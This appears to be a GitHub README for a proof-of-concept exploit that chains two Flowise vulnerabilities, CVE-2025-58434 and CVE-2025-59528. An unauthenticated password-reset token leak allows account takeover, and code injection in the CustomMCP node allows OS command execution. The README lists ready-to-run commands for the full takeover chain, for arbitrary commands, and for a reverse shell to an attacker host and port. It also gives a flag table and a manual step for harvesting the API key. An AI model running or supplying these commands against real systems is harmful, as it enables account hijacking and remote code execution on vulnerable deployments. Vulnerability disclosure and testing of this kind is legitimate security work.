azureadtrent/cve-2025-58434-59528CVE-2025-58434 and CVE-2025-59528 chain POC
Exploit chain for two vulnerabilities affecting Flowise <= 3.0.5.
The forgot-password endpoint returns a valid password reset token in the API response without requiring authentication. An attacker with knowledge of a valid email address can reset any account's password without user interaction.
The CustomMCP node passes user-controlled input directly to a Function() constructor with full Node.js privileges. An authenticated user with a valid API key can execute arbitrary OS commands as the Flowise process user.
Fixed in: Flowise 3.0.6
pip install requestsFull ATO chain (resets password, prompts for API key, fires reverse shell):
python3 flowise_chain.py -t http://target -e [email protected]
RCE only (if you already have an API key):
python3 flowise_chain.py -t http://target --api-key <KEY> -c "id"
Reverse shell with existing key:
python3 flowise_chain.py -t http://target --api-key <KEY> --lhost 10.0.0.1 --lport 4444
| Flag | Description |
|---|---|
-t, --target | Target URL |
-e, --email | Target account email (triggers ATO chain) |
--api-key | Provide API key directly (skips ATO) |
-c, --command | Command to execute |
--lhost | Attacker IP for reverse shell |
--lport | Attacker port for reverse shell (default: 4444) |
--new-password | Password to set during reset (default: Pwn3d!2026) |
-k, --insecure | Skip TLS verification |
Due to a quirk in Flowise 3.0.5, the reset-password API endpoint does not immediately update the credential accepted by the login endpoint. The script pauses after the reset and prompts you to log into the UI manually and copy the API key from /apikey.